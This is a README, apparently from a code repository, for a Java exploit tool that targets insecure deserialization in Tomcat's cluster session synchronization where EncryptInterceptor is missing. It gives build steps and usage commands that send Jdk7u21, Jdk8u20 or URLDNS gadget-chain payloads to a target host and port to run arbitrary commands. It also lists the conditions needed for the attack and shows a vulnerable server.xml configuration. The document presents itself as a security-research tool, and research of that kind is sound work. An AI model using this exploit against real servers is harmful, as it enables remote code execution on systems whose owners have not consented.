The tool is only for security research and internal self-inspection. It is prohibited to use the tool for illegal attacks. The user shall bear all consequences.

tomcat cluster sync-session exploit

This is an exploit targeting deserialization vulnerabilities caused by insecure configurations (lack of EncryptInterceptor) when Tomcat uses its built-in session synchronization feature. By crafting specially designed packets, attackers can compromise servers that utilize Tomcat's built-in session synchronization.

Usage

First compile the JAR package:

mvn clean compile assembly:assembly

The generated JAR package will be in the target directory.

Usage examples:

java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"

Prerequisites

Tomcat has session synchronization enabled without configuring EncryptInterceptor.
JDK version is lower than JDK 8u20 or JDK 7u21 (may be incorrect).
The synchronization endpoint is accessible (typically on the internal network).

Tomcat session synchronization configuration

(in conf/server.xml):

<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>

tomcat-cluster-session-sync-exp

Most Popular

tomcat cluster sync-session exploit

Usage

Prerequisites

Tomcat session synchronization configuration